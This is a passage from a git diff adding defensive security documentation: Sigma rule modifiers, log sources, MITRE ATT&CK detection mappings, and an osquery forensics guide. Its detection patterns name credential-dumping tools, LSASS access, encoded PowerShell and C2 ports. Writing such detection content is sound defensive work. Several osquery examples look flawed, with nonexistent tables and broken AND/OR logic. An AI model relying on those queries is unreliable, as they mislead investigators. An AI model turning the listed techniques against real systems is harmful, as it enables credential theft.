> 5 +``` + +**Meaning**: More than 5 failed logons from same IP within timeframe + +**Backend Support**: Varies (typically requires SIEM correlation capabilities) + +### near + +**Description**: Events occur within proximity + +**Usage**: +```yaml +condition: selection1 and selection2 | near(timespan=30s) +``` + +**Meaning**: Both events occur within 30 seconds + +**Backend Support**: Limited (backend-dependent) + +## Chaining Modifiers + +Modifiers can be chained: + +```yaml +detection: + selection: + CommandLine|base64offset|contains: 'Invoke-Mimikatz' + Image|endswith: '\powershell.exe' +``` + +**Order matters**: Apply modifiers left to right + +**Example**: `|base64|contains` first encodes to base64, then checks contains + +## Common Patterns + +### Pattern 1: Flexible PowerShell Detection + +```yaml +detection: + selection: + Image|endswith: + - '\powershell.exe' + - '\pwsh.exe' + CommandLine|contains: + - '-enc' + - '-EncodedCommand' + - '-e ' +``` + +### Pattern 2: Process Chain Detection + +```yaml +detection: + selection: + ParentImage|endswith: '\winword.exe' + Image|endswith: + - '\powershell.exe' + - '\cmd.exe' + - '\wscript.exe' +``` + +### Pattern 3: File Path Detection + +```yaml +detection: + selection: + TargetFilename|contains: '\AppData\Roaming\' + TargetFilename|endswith: + - '.exe' + - '.dll' + - '.ps1' +``` + +### Pattern 4: Encoded Command Detection + +```yaml +detection: + selection: + CommandLine|base64offset|contains: + - 'Invoke-Expression' + - 'IEX' + - 'Net.WebClient' +``` + +## Backend Compatibility Matrix + +| Modifier | Splunk | Elasticsearch | Sentinel | QRadar | +|----------|--------|---------------|----------|--------| +| contains | ✓ | ✓ | ✓ | ✓ | +| startswith | ✓ | ✓ | ✓ | ✓ | +| endswith | ✓ | ✓ | ✓ | ✓ | +| all | ✓ | ✓ | ✓ | Partial | +| re | ✓ | ✓ | ✓ | ✓ | +| base64 | Limited | Limited | ✓ | Limited | +| base64offset | Limited | Limited | Limited | No | +| wide | Limited | Limited | Limited | No | +| lt/gt/lte/gte | ✓ | ✓ | ✓ | ✓ | + +**Legend**: +- ✓: Full support +- Limited: Partial support, may require workarounds +- No: Not supported + +## Best Practices + +### 1. Prefer Specific Modifiers + +❌ **Don't**: +```yaml +CommandLine|contains: 'powershell' +``` + +✓ **Do**: +```yaml +Image|endswith: '\powershell.exe' +``` + +**Why**: More precise, better performance + +### 2. Use `all` for Multiple Requirements + +❌ **Don't**: +```yaml +CommandLine|contains: 'powershell' +CommandLine|contains: '-enc' +``` + +✓ **Do**: +```yaml +CommandLine|contains|all: + - 'powershell' + - '-enc' +``` + +**Why**: Clearer intent, single field evaluation + +### 3. Avoid Excessive Regex + +❌ **Don't**: +```yaml +CommandLine|re: '.*powershell.*-enc.*' +``` + +✓ **Do**: +```yaml +CommandLine|contains|all: + - 'powershell' + - '-enc' +``` + +**Why**: Regex is slower, harder to tune + +### 4. Test Modifiers with Backend + +Always test converted queries in target SIEM: + +```bash +# Convert rule +python scripts/sigma_convert.py rule.yml --backend splunk + +# Test in Splunk search interface +# Verify expected matches/non-matches +``` + +### 5. Document Complex Modifiers + +When using `base64offset` or `wide`, document why: + +```yaml +title: Encoded PowerShell Command Detection +description: | + Detects base64-encoded PowerShell commands with offset variations + to catch encoding attempts regardless of string position. +detection: + selection: + CommandLine|base64offset|contains: 'Invoke-Mimikatz' +``` + +## Troubleshooting + +### Modifier Not Supported in Backend + +**Error**: `Field modifier 'base64offset' not supported by backend 'qradar'` + +**Solutions**: +1. Use alternative modifier (`contains` instead of `base64offset`) +2. Implement custom pipeline transformation +3. Post-process in SIEM after ingestion + +### No Matches Despite Known Positive Data + +**Causes**: +- Case sensitivity (shouldn't be issue with Sigma, but check backend) +- Field name mismatch (check field mappings) +- Modifier not applied correctly + +**Debug**: +```bash +# Check converted query +python scripts/sigma_convert.py rule.yml --backend splunk --debug + +# Test simplified query without modifiers +# Add modifiers incrementally +``` + +### Performance Issues + +**Problem**: Query with `|re` too slow + +**Solution**: +- Replace regex with `contains`, `startswith`, `endswith` +- Add more specific filters (EventID, Image path) +- Limit time range + +## Resources + +- [Sigma Specification - Modifiers](https://github.com/SigmaHQ/sigma-specification/blob/main/Sigma_specification.md#field-modifiers) +- [pySigma Transformations](https://github.com/SigmaHQ/pySigma) +- [Regex Testing Tool](https://regex101.com/) diff --git a/skills/incident-response/detection-sigma/references/log-source-guide.md b/skills/incident-response/detection-sigma/references/log-source-guide.md new file mode 100644 index 0000000..26c1511 --- /dev/null +++ b/skills/incident-response/detection-sigma/references/log-source-guide.md @@ -0,0 +1,261 @@ +# Sigma Log Source Reference + +## Log Source Categories + +### process_creation + +**Description**: Process creation/execution events + +**Common Products**: Windows (Sysmon Event ID 1), Linux (auditd), EDR platforms + +**Key Fields**: +- `Image` - Full path to executable +- `CommandLine` - Full command line with arguments +- `ParentImage` - Parent process executable path +- `ParentCommandLine` - Parent process command line +- `User` - User account that created process +- `IntegrityLevel` - Process integrity level (Windows) +- `Hashes` - File hashes (MD5, SHA256) + +**Example**: +```yaml +logsource: + category: process_creation + product: windows +detection: + selection: + Image|endswith: '\powershell.exe' + CommandLine|contains: '-enc' +``` + +### network_connection + +**Description**: Network connection events + +**Common Products**: Sysmon Event ID 3, Firewall logs, EDR + +**Key Fields**: +- `Image` - Process making connection +- `DestinationIp` - Remote IP address +- `DestinationPort` - Remote port +- `DestinationHostname` - Remote hostname +- `SourceIp` - Local IP address +- `SourcePort` - Local port +- `Initiated` - Connection initiated (true/false) + +**Example**: +```yaml +logsource: + category: network_connection + product: windows +detection: + selection: + Initiated: 'true' + DestinationPort: 4444 +``` + +### file_event + +**Description**: File creation, modification, deletion + +**Common Products**: Sysmon Events 11/23, File integrity monitoring + +**Key Fields**: +- `Image` - Process creating/modifying file +- `TargetFilename` - File path +- `CreationUtcTime` - File creation time + +**Example**: +```yaml +logsource: + category: file_event + product: windows +detection: + selection: + TargetFilename|contains: '\Windows\Temp\' + TargetFilename|endswith: '.exe' +``` + +### registry_event + +**Description**: Registry key/value modifications + +**Common Products**: Sysmon Events 12/13/14, Windows Event Logs + +**Key Fields**: +- `TargetObject` - Registry key path +- `Details` - Registry value data +- `EventType` - SetValue, CreateKey, DeleteKey + +**Example**: +```yaml +logsource: + category: registry_event + product: windows +detection: + selection: + TargetObject|contains: '\CurrentVersion\Run' +``` + +### image_load + +**Description**: DLL/image load events + +**Common Products**: Sysmon Event ID 7 + +**Key Fields**: +- `Image` - Process loading the image +- `ImageLoaded` - Path to loaded DLL/image +- `Signed` - Digital signature status + +**Example**: +```yaml +logsource: + category: image_load + product: windows +detection: + selection: + ImageLoaded|endswith: '\evil.dll' + Signed: 'false' +``` + +### dns_query + +**Description**: DNS query events + +**Common Products**: Sysmon Event ID 22, DNS server logs, proxy logs + +**Key Fields**: +- `QueryName` - DNS name queried +- `QueryResults` - DNS response IPs +- `Image` - Process making query + +**Example**: +```yaml +logsource: + category: dns_query + product: windows +detection: + selection: + QueryName|endswith: '.onion' +``` + +### web_request + +**Description**: HTTP/HTTPS requests + +**Common Products**: Proxy logs, web server logs, WAF + +**Key Fields**: +- `c-uri` - Requested URI +- `c-useragent` - User agent string +- `cs-method` - HTTP method +- `sc-status` - HTTP status code + +### authentication + +**Description**: Authentication events (success/failure) + +**Common Products**: Windows Security Events 4624/4625, Linux auth.log + +**Key Fields**: +- `EventID` - 4624 (success), 4625 (failure), 4768 (Kerberos) +- `LogonType` - Type of logon (2=Interactive, 3=Network, 10=RemoteInteractive) +- `TargetUserName` - Account being authenticated +- `WorkstationName` - Source workstation +- `IpAddress` - Source IP + +**Example**: +```yaml +logsource: + category: authentication + product: windows +detection: + selection: + EventID: 4625 # Failed logon +``` + +## Products + +Common product values: + +- `windows` - Windows OS +- `linux` - Linux OS +- `macos` - macOS +- `azure` - Microsoft Azure +- `aws` - Amazon Web Services +- `gcp` - Google Cloud Platform +- `m365` - Microsoft 365 +- `okta` - Okta identity platform +- `firewall` - Generic firewall +- `proxy` - Web proxy + +## Service Definitions + +For cloud services, use service field: + +```yaml +logsource: + product: azure + service: azuread +``` + +Common services: +- `azuread` - Azure Active Directory +- `azureactivity` - Azure Activity Logs +- `cloudtrail` - AWS CloudTrail +- `cloudwatch` - AWS CloudWatch +- `gcp.audit` - GCP Audit Logs + +## Field Naming Conventions + +Sigma uses normalized field names: + +### Process Fields +- `Image` - Full executable path +- `CommandLine` - Command line arguments +- `ParentImage` - Parent process path +- `User` - Username +- `ProcessId` - Process ID + +### Network Fields +- `SourceIp` / `DestinationIp` +- `SourcePort` / `DestinationPort` +- `Protocol` - Network protocol + +### File Fields +- `TargetFilename` - File path +- `SourceFilename` - Original file location (for copies/moves) + +### Registry Fields +- `TargetObject` - Registry key path +- `Details` - Registry value data + +## Backend-Specific Mappings + +Each backend maps these generic fields to product-specific field names: + +**Sigma Generic** → **Splunk Sysmon**: +- `Image` → `Image` +- `CommandLine` → `CommandLine` +- `ParentImage` → `ParentImage` + +**Sigma Generic** → **Elasticsearch ECS**: +- `Image` → `process.executable` +- `CommandLine` → `process.command_line` +- `ParentImage` → `process.parent.executable` + +## Log Source Discovery + +To identify available log sources: + +1. **Review SIEM data sources**: Check what logs are ingested +2. **Verify field mappings**: Ensure Sigma fields map correctly +3. **Test conversions**: Convert sample rules and validate output +4. **Check coverage**: Ensure critical log sources are available + +## Resources + +- [Sigma Log Sources](https://github.com/SigmaHQ/sigma/wiki/Log-Sources) +- [Sysmon Event IDs](https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon) +- [Windows Security Events](https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/) diff --git a/skills/incident-response/detection-sigma/references/mitre-attack-mapping.md b/skills/incident-response/detection-sigma/references/mitre-attack-mapping.md new file mode 100644 index 0000000..bfb80c2 --- /dev/null +++ b/skills/incident-response/detection-sigma/references/mitre-attack-mapping.md @@ -0,0 +1,362 @@ +# MITRE ATT&CK Mapping for Sigma Rules + +## Table of Contents +- [Execution](#execution) +- [Persistence](#persistence) +- [Privilege Escalation](#privilege-escalation) +- [Defense Evasion](#defense-evasion) +- [Credential Access](#credential-access) +- [Discovery](#discovery) +- [Lateral Movement](#lateral-movement) +- [Collection](#collection) +- [Command and Control](#command-and-control) +- [Exfiltration](#exfiltration) +- [Impact](#impact) + +## Execution + +### T1059.001 - PowerShell + +**Description**: Adversaries abuse PowerShell for execution + +**Log Sources**: process_creation (Windows) + +**Detection Pattern**: +```yaml +detection: + selection: + Image|endswith: '\powershell.exe' + CommandLine|contains: + - '-enc' + - '-EncodedCommand' + - 'FromBase64String' + - 'Invoke-Expression' + - 'IEX' +``` + +**Tags**: +```yaml +tags: + - attack.execution + - attack.t1059.001 +``` + +### T1059.003 - Windows Command Shell + +**Description**: Abuse of cmd.exe for execution + +**Detection Pattern**: +```yaml +detection: + selection: + Image|endswith: '\cmd.exe' + CommandLine|contains: + - '/c' + - '/k' + - '&' + - '|' +``` + +## Persistence + +### T1053.005 - Scheduled Task + +**Description**: Adversaries create scheduled tasks for persistence + +**Log Sources**: process_creation, registry_event + +**Detection Pattern**: +```yaml +detection: + selection: + Image|endswith: '\schtasks.exe' + CommandLine|contains: + - '/create' + - '/sc minute' +``` + +### T1547.001 - Registry Run Keys + +**Description**: Persistence via registry run keys + +**Log Sources**: registry_event + +**Detection Pattern**: +```yaml +logsource: + category: registry_event +detection: + selection: + TargetObject|contains: + - '\Software\Microsoft\Windows\CurrentVersion\Run' + - '\Software\Microsoft\Windows\CurrentVersion\RunOnce' +``` + +## Privilege Escalation + +### T1055 - Process Injection + +**Description**: Adversaries inject code into processes + +**Detection Pattern**: +```yaml +detection: + selection: + EventID: 8 # CreateRemoteThread + TargetImage|endswith: + - '\lsass.exe' + - '\explorer.exe' +``` + +### T1548.002 - Bypass User Account Control + +**Description**: UAC bypass techniques + +**Detection Pattern**: +```yaml +detection: + selection: + CommandLine|contains: + - 'eventvwr.exe' + - 'fodhelper.exe' + IntegrityLevel: 'High' +``` + +## Defense Evasion + +### T1027 - Obfuscated Files or Information + +**Description**: Files or information made difficult to discover or analyze + +**Detection Pattern**: +```yaml +detection: + selection: + CommandLine|contains: + - '-enc' + - 'base64' + - 'FromBase64' + - 'convert]::FromBase64String' +``` + +### T1070.001 - Clear Windows Event Logs + +**Description**: Clearing Windows event logs + +**Detection Pattern**: +```yaml +detection: + selection: + EventID: 1102 # Security log cleared +``` + +## Credential Access + +### T1003.001 - LSASS Memory + +**Description**: Credential dumping from LSASS memory + +**Detection Pattern**: +```yaml +detection: + selection: + TargetImage|endswith: '\lsass.exe' + GrantedAccess: + - '0x1010' + - '0x1410' + - '0x147a' +``` + +### T1558.003 - Kerberoasting + +**Description**: Service principal name abuse for credential theft + +**Detection Pattern**: +```yaml +detection: + selection: + EventID: 4769 + ServiceName|endswith: '$' + TicketEncryptionType: '0x17' +``` + +## Discovery + +### T1087 - Account Discovery + +**Description**: Adversaries enumerate account information + +**Detection Pattern**: +```yaml +detection: + selection: + Image|endswith: + - '\net.exe' + - '\net1.exe' + CommandLine|contains: + - 'user' + - 'group' + - 'localgroup administrators' +``` + +### T1082 - System Information Discovery + +**Description**: System and hardware information gathering + +**Detection Pattern**: +```yaml +detection: + selection: + Image|endswith: + - '\systeminfo.exe' + - '\wmic.exe' + CommandLine|contains: + - 'os get' + - 'computersystem' +``` + +## Lateral Movement + +### T1021.001 - Remote Desktop Protocol + +**Description**: Remote access via RDP + +**Log Sources**: network_connection, authentication + +**Detection Pattern**: +```yaml +detection: + selection: + EventID: 4624 + LogonType: 10 # RemoteInteractive +``` + +### T1021.002 - SMB/Windows Admin Shares + +**Description**: Lateral movement via SMB + +**Detection Pattern**: +```yaml +detection: + selection: + EventID: 5140 + ShareName|endswith: + - 'ADMIN$' + - 'C$' + - 'IPC$' +``` + +## Collection + +### T1560 - Archive Collected Data + +**Description**: Data archiving before exfiltration + +**Detection Pattern**: +```yaml +detection: + selection: + Image|endswith: + - '\rar.exe' + - '\7z.exe' + CommandLine|contains: + - ' a ' # Add to archive + - '-p' # Password +``` + +## Command and Control + +### T1071.001 - Web Protocols + +**Description**: C2 over HTTP/HTTPS + +**Log Sources**: network_connection, proxy + +**Detection Pattern**: +```yaml +detection: + selection: + DestinationPort: + - 80 + - 443 + Initiated: 'true' + filter: + DestinationIp|startswith: + - '10.' + - '172.16.' + - '192.168.' + condition: selection and not filter +``` + +## Exfiltration + +### T1041 - Exfiltration Over C2 Channel + +**Description**: Data exfiltration via existing C2 + +**Detection Pattern**: +```yaml +detection: + selection: + Initiated: 'true' + DestinationPort: + - 4444 + - 8080 + - 8443 +``` + +## Impact + +### T1486 - Data Encrypted for Impact + +**Description**: Ransomware encryption activity + +**Detection Pattern**: +```yaml +detection: + selection: + Image|endswith: '.exe' + TargetFilename|endswith: + - '.encrypted' + - '.locked' + - '.crypto' + condition: selection +``` + +## Tag Format + +When tagging rules with MITRE ATT&CK, use this format: + +```yaml +tags: + - attack.{tactic} # Lowercase tactic name + - attack.{technique_id} # Technique ID (T####) or sub-technique (T####.###) +``` + +**Example**: +```yaml +tags: + - attack.execution + - attack.t1059.001 + - attack.defense_evasion + - attack.t1027 +``` + +## Multiple Techniques + +Rules can map to multiple tactics and techniques: + +```yaml +tags: + - attack.execution # Primary tactic + - attack.t1059.001 # PowerShell + - attack.defense_evasion # Secondary tactic + - attack.t1027 # Obfuscation + - attack.t1140 # Deobfuscate/Decode Files +``` + +## Resources + +- [MITRE ATT&CK Framework](https://attack.mitre.org/) +- [ATT&CK Navigator](https://mitre-attack.github.io/attack-navigator/) +- [Sigma ATT&CK Correlation](https://github.com/SigmaHQ/sigma/wiki/Tags) diff --git a/skills/incident-response/forensics-osquery/SKILL.md b/skills/incident-response/forensics-osquery/SKILL.md new file mode 100644 index 0000000..d9e8468 --- /dev/null +++ b/skills/incident-response/forensics-osquery/SKILL.md @@ -0,0 +1,492 @@ +--- +name: forensics-osquery +description: > + SQL-powered forensic investigation and system interrogation using osquery to query + operating systems as relational databases. Enables rapid evidence collection, threat + hunting, and incident response across Linux, macOS, and Windows endpoints. + Use when: (1) Investigating security incidents and collecting forensic artifacts, + (2) Threat hunting across endpoints for suspicious activity, (3) Analyzing running + processes, network connections, and persistence mechanisms, (4) Collecting system + state during incident response, (5) Querying file hashes, user activity, and system + configuration for compromise indicators, (6) Building detection queries for continuous + monitoring with osqueryd. +version: 0.1.0 +maintainer: SirAppSec +category: incident-response +tags: [forensics, osquery, incident-response, threat-hunting, endpoint-detection, dfir, live-forensics, sql] +frameworks: [MITRE-ATT&CK, NIST] +dependencies: + tools: [osquery] + platforms: [linux, macos, windows] +references: + - https://github.com/osquery/osquery + - https://osquery.io/ + - https://osquery.readthedocs.io/ +--- + +# osquery Forensics & Incident Response + +## Overview + +osquery transforms operating systems into queryable relational databases, enabling security analysts to investigate compromises using SQL rather than traditional CLI tools. This skill provides forensic investigation workflows, common detection queries, and incident response patterns for rapid evidence collection across Linux, macOS, and Windows endpoints. + +**Core capabilities**: +- SQL-based system interrogation for process, network, file, and user analysis +- Cross-platform forensic artifact collection (Linux, macOS, Windows) +- Live system analysis without deploying heavyweight forensic tools +- Threat hunting queries mapped to MITRE ATT&CK techniques +- Scheduled monitoring with osqueryd for continuous detection +- Integration with SIEM and incident response platforms + +## Quick Start + +### Interactive Investigation (osqueryi) + +```bash +# Launch interactive shell +osqueryi + +# Check running processes +SELECT pid, name, path, cmdline, uid FROM processes WHERE name LIKE '%suspicious%'; + +# Identify listening network services +SELECT DISTINCT processes.name, listening_ports.port, listening_ports.address, processes.pid, processes.path +FROM listening_ports +JOIN processes USING (pid) +WHERE listening_ports.address != '127.0.0.1'; + +# Find processes with deleted executables (potential malware) +SELECT name, path, pid, cmdline FROM processes WHERE on_disk = 0; + +# Check persistence mechanisms (Linux/macOS cron jobs) +SELECT command, path FROM crontab; +``` + +### One-Liner Forensic Queries + +```bash +# Single query execution +osqueryi --json "SELECT * FROM logged_in_users;" + +# Export query results for analysis +osqueryi --json "SELECT * FROM processes;" > processes_snapshot.json + +# Check for suspicious kernel modules (Linux) +osqueryi --line "SELECT name, used_by, status FROM kernel_modules WHERE name NOT IN (SELECT name FROM known_good_modules);" +``` + +## Core Workflows + +### Workflow 1: Initial Incident Response Triage + +For rapid assessment of potentially compromised systems: + +Progress: +[ ] 1. Collect running processes and command lines +[ ] 2. Identify network connections and listening ports +[ ] 3. Check user accounts and recent logins +[ ] 4. Examine persistence mechanisms (scheduled tasks, startup items) +[ ] 5. Review suspicious file modifications and executions +[ ] 6. Document findings with timestamps and process ancestry +[ ] 7. Export evidence to JSON for preservation + +Work through each step systematically. Use bundled triage script for automated collection. + +**Execute triage**: `./scripts/osquery_triage.sh > incident_triage_$(date +%Y%m%d_%H%M%S).json` + +### Workflow 2: Threat Hunting for Specific TTPs + +When hunting for specific MITRE ATT&CK techniques: + +1. **Select Target Technique** + - Identify technique from threat intelligence (e.g., T1055 - Process Injection) + - Map technique to observable system artifacts + - See [references/mitre-attack-queries.md](references/mitre-attack-queries.md) for pre-built queries + +2. **Build Detection Query** + - Identify relevant osquery tables (processes, file_events, registry, etc.) + - Join tables to correlate related artifacts + - Use [references/table-guide.md](references/table-guide.md) for schema reference + +3. **Execute Hunt** + ```sql + -- Example: Hunt for credential dumping (T1003) + SELECT p.pid, p.name, p.cmdline, p.path, p.parent, pm.permissions + FROM processes p + JOIN process_memory_map pm ON p.pid = pm.pid + WHERE p.name IN ('mimikatz.exe', 'procdump.exe', 'pwdump.exe') + OR p.cmdline LIKE '%sekurlsa%' + OR (pm.path = '/etc/shadow' OR pm.path LIKE '%SAM%'); + ``` + +4. **Analyze Results** + - Review process ancestry and command-line arguments + - Check file hashes against threat intelligence + - Document timeline of suspicious activity + +5. **Pivot Investigation** + - Use findings to identify additional indicators + - Query related artifacts (network connections, files, registry) + - Expand hunt scope if compromise confirmed + +### Workflow 3: Persistence Mechanism Analysis + +Detecting persistence across platforms: + +**Linux/macOS Persistence**: +```sql +-- Cron jobs +SELECT * FROM crontab; + +-- Systemd services (Linux) +SELECT name, path, status, source FROM systemd_units WHERE source != '/usr/lib/systemd/system'; + +-- Launch Agents/Daemons (macOS) +SELECT name, path, program, run_at_load FROM launchd WHERE run_at_load = 1; + +-- Bash profile modifications +SELECT * FROM file WHERE path IN ('/etc/profile', '/etc/bash.bashrc', '/home/*/.bashrc', '/home/*/.bash_profile'); +``` + +**Windows Persistence**: +```sql +-- Registry Run keys +SELECT key, name, path, type FROM registry WHERE key LIKE '%Run%' OR key LIKE '%RunOnce%'; + +-- Scheduled tasks +SELECT name, action, path, enabled FROM scheduled_tasks WHERE enabled = 1; + +-- Services +SELECT name, display_name, status, path, start_type FROM services WHERE start_type = 'AUTO_START'; + +-- WMI event consumers +SELECT name, command_line_template FROM wmi_cli_event_consumers; +``` + +Review results for: +- Unusual executables in startup locations +- Base64-encoded or obfuscated commands +- Executables in temporary or user-writable directories +- Recently modified persistence mechanisms + +### Workflow 4: Network Connection Analysis + +Investigating suspicious network activity: + +```sql +-- Active network connections with process details +SELECT p.name, p.pid, p.path, p.cmdline, ps.remote_address, ps.remote_port, ps.state +FROM processes p +JOIN process_open_sockets ps ON p.pid = ps.pid +WHERE ps.remote_address NOT IN ('127.0.0.1', '::1', '0.0.0.0') +ORDER BY ps.remote_port; + +-- Listening ports mapped to processes +SELECT DISTINCT p.name, lp.port, lp.address, lp.protocol, p.path, p.cmdline +FROM listening_ports lp +LEFT JOIN processes p ON lp.pid = p.pid +WHERE lp.address NOT IN ('127.0.0.1', '::1') +ORDER BY lp.port; + +-- DNS lookups (requires events table or process monitoring) +SELECT name, domains, pid FROM dns_resolvers; +``` + +**Investigation checklist**: +- [ ] Identify non-standard listening ports (not 80, 443, 22, 3389) +- [ ] Check processes with external connections +- [ ] Review destination IPs against threat intelligence +- [ ] Correlate connections with process execution timeline +- [ ] Validate legitimate business purpose for connections + +### Workflow 5: File System Forensics + +Analyzing file modifications and suspicious files: + +```sql +-- Recently modified files in sensitive locations +SELECT path, filename, size, mtime, ctime, md5, sha256 +FROM hash +WHERE path LIKE '/etc/%' OR path LIKE '/tmp/%' OR path LIKE 'C:\Windows\Temp\%' + AND mtime > (strftime('%s', 'now') - 86400); -- Last 24 hours + +-- Executable files in unusual locations +SELECT path, filename, size, md5, sha256 +FROM hash +WHERE (path LIKE '/tmp/%' OR path LIKE '/var/tmp/%' OR path LIKE 'C:\Users\%\AppData\%') + AND (filename LIKE '%.exe' OR filename LIKE '%.sh' OR filename LIKE '%.py'); + +-- SUID/SGID binaries (Linux/macOS) - potential privilege escalation +SELECT path, filename, mode, uid, gid +FROM file +WHERE (mode LIKE '%4%' OR mode LIKE '%2%') + AND path LIKE '/usr/%' OR path LIKE '/bin/%'; +``` + +**File analysis workflow**: +1. Identify suspicious files by location and timestamp +2. Extract file hashes (MD5, SHA256) for threat intel lookup +3. Review file permissions and ownership +4. Check for living-off-the-land binaries (LOLBins) abuse +5. Document file metadata for forensic timeline + +## Forensic Query Patterns + +### Pattern 1: Process Analysis + +Standard process investigation queries: + +```sql +-- Processes with network connections +SELECT p.pid, p.name, p.path, p.cmdline, ps.remote_address, ps.remote_port +FROM processes p +JOIN process_open_sockets ps ON p.pid = ps.pid; + +-- Process tree (parent-child relationships) +SELECT p1.pid, p1.name AS process, p1.cmdline, + p2.pid AS parent_pid, p2.name AS parent_name, p2.cmdline AS parent_cmdline +FROM processes p1 +LEFT JOIN processes p2 ON p1.parent = p2.pid; + +-- High-privilege processes (UID 0 / SYSTEM) +SELECT pid, name, path, cmdline, uid, euid FROM processes WHERE uid = 0 OR euid = 0; +``` + +### Pattern 2: User Activity Monitoring + +Track user accounts and authentication: + +```sql +-- Currently logged in users +SELECT user, tty, host, time, pid FROM logged_in_users; + +-- User accounts with login shells +SELECT username, uid, gid, shell, directory FROM users WHERE shell NOT LIKE '%nologin%'; + +-- Recent authentication events (requires auditd/Windows Event Log integration) +SELECT * FROM user_events WHERE time > (strftime('%s', 'now') - 3600); + +-- Sudo usage history (Linux/macOS) +SELECT username, command, time FROM sudo_usage_history ORDER BY time DESC LIMIT 50; +``` + +### Pattern 3: System Configuration Review + +Identify configuration changes: + +```sql +-- Kernel configuration and parameters (Linux) +SELECT name, value FROM kernel_info; +SELECT path, key, value FROM sysctl WHERE key LIKE 'kernel.%'; + +-- Installed packages (detect unauthorized software) +SELECT name, version, install_time FROM deb_packages ORDER BY install_time DESC LIMIT 20; -- Debian/Ubuntu +SELECT name, version, install_time FROM rpm_packages ORDER BY install_time DESC LIMIT 20; -- RHEL/CentOS + +-- System information +SELECT hostname, computer_name, local_hostname FROM system_info; +``` + +## Security Considerations + +- **Sensitive Data Handling**: osquery can access sensitive system information (password hashes, private keys, process memory). Limit access to forensic analysts and incident responders. Export query results to encrypted storage. Sanitize logs before sharing with third parties. + +- **Access Control**: Requires root/administrator privileges on investigated systems. Use dedicated forensic user accounts with audit logging. Restrict osqueryd configuration files (osquery.conf) to prevent query tampering. Implement least-privilege access to query results. + +- **Audit Logging**: Log all osquery executions for forensic chain-of-custody. Record analyst username, timestamp, queries executed, and systems queried. Maintain immutable audit logs for compliance and legal requirements. Use `osqueryd --audit` flag for detailed logging. + +- **Compliance**: osquery supports NIST SP 800-53 AU (Audit and Accountability) controls and NIST Cybersecurity Framework detection capabilities. Enables evidence collection for GDPR data breach investigations (Article 33). Query results constitute forensic evidence - maintain integrity and chain-of-custody. + +- **Safe Defaults**: Use read-only queries during investigations to avoid system modification. Test complex queries in lab environments before production use. Monitor osqueryd resource consumption to prevent denial of service. Disable dangerous tables (e.g., `curl`, `yara`) in osqueryd configurations unless explicitly needed. + +## Bundled Resources + +### Scripts + +- `scripts/osquery_triage.sh` - Automated triage collection script for rapid incident response +- `scripts/osquery_hunt.py` - Threat hunting query executor with MITRE ATT&CK mapping +- `scripts/parse_osquery_json.py` - Parse and analyze osquery JSON output +- `scripts/osquery_to_timeline.py` - Generate forensic timelines from osquery results + +### References + +- `references/table-guide.md` - Comprehensive osquery table reference for forensic investigations +- `references/mitre-attack-queries.md` - Pre-built queries mapped to MITRE ATT&CK techniques +- `references/platform-differences.md` - Platform-specific tables and query variations (Linux/macOS/Windows) +- `references/osqueryd-deployment.md` - Deploy osqueryd for continuous monitoring and fleet management + +### Assets + +- `assets/osquery.conf` - Production osqueryd configuration template for security monitoring +- `assets/forensic-packs/` - Query packs for incident response scenarios + - `ir-triage.conf` - Initial triage queries + - `persistence-hunt.conf` - Persistence mechanism detection + - `lateral-movement.conf` - Lateral movement indicators + - `credential-access.conf` - Credential dumping detection + +## Common Investigation Scenarios + +### Scenario 1: Webshell Detection + +Detect webshells on compromised web servers: + +```sql +-- Check web server processes with suspicious child processes +SELECT p1.name AS webserver, p1.pid, p1.cmdline, + p2.name AS child, p2.cmdline AS child_cmdline +FROM processes p1 +JOIN processes p2 ON p1.pid = p2.parent +WHERE p1.name IN ('httpd', 'nginx', 'apache2', 'w3wp.exe') + AND p2.name IN ('bash', 'sh', 'cmd.exe', 'powershell.exe', 'perl', 'python'); + +-- Files in web directories with recent modifications +SELECT path, filename, mtime, md5, sha256 +FROM hash +WHERE path LIKE '/var/www/%' OR path LIKE 'C:\inetpub\wwwroot\%' + AND (filename LIKE '%.php' OR filename LIKE '%.asp' OR filename LIKE '%.jsp') + AND mtime > (strftime('%s', 'now') - 604800); -- Last 7 days +``` + +### Scenario 2: Ransomware Investigation + +Identify ransomware indicators: + +```sql +-- Processes writing to many files rapidly (potential encryption activity) +SELECT p.name, p.pid, p.cmdline, COUNT(fe.path) AS files_modified +FROM processes p +JOIN file_events fe ON p.pid = fe.pid +WHERE fe.action = 'WRITE' AND fe.time > (strftime('%s', 'now') - 300) +GROUP BY p.pid +HAVING files_modified > 100; + +-- Look for ransom note files +SELECT path, filename FROM file +WHERE filename LIKE '%DECRYPT%' OR filename LIKE '%README%' OR filename LIKE '%RANSOM%'; + +-- Check for file extension changes (encrypted files) +SELECT path, filename FROM file +WHERE filename LIKE '%.locked' OR filename LIKE '%.encrypted' OR filename LIKE '%.crypto'; +``` + +### Scenario 3: Privilege Escalation Detection + +Detect privilege escalation attempts: + +```sql +-- Processes running as root from non-standard paths +SELECT pid, name, path, cmdline, uid, euid FROM processes +WHERE (uid = 0 OR euid = 0) + AND path NOT LIKE '/usr/%' + AND path NOT LIKE '/sbin/%' + AND path NOT LIKE '/bin/%' + AND path NOT LIKE 'C:\Windows\%'; + +-- SUID binaries (Linux/macOS) +SELECT path, filename, uid, gid FROM file +WHERE mode LIKE '%4%' AND path NOT IN (SELECT path FROM known_suid_binaries); + +-- Sudoers file modifications +SELECT * FROM file WHERE path = '/etc/sudoers' AND mtime > (strftime('%s', 'now') - 86400); +``` + +## Integration Points + +### SIEM Integration + +Forward osqueryd logs to SIEM platforms: + +- **Splunk**: Use Splunk Add-on for osquery or universal forwarder +- **Elasticsearch**: Configure osqueryd to output JSON logs, ingest with Filebeat +- **Sentinel**: Stream logs via Azure Monitor Agent or custom ingestion +- **QRadar**: Use QRadar osquery app or log source extension + +Configure osqueryd result logging: +```json +{ + "options": { + "logger_plugin": "filesystem", + "logger_path": "/var/log/osquery", + "disable_logging": false + } +} +``` + +### EDR/XDR Integration + +Combine with endpoint detection: +- Correlate osquery results with EDR alerts +- Use osquery for EDR alert enrichment and investigation +- Deploy osquery packs based on EDR threat intelligence +- Augment EDR telemetry with custom osquery tables + +### Threat Intelligence Enrichment + +Enrich findings with threat intel: +- Query file hashes against VirusTotal, MISP, or threat feeds +- Match network indicators with IOC databases +- Tag findings with MITRE ATT&CK techniques +- Generate hunting hypotheses from threat reports + +## Troubleshooting + +### Issue: osquery Not Finding Expected Results + +**Solution**: Verify table availability and platform compatibility +- Check table schema: `osqueryi ".schema processes"` +- List available tables: `osqueryi ".tables"` +- Review platform-specific tables in 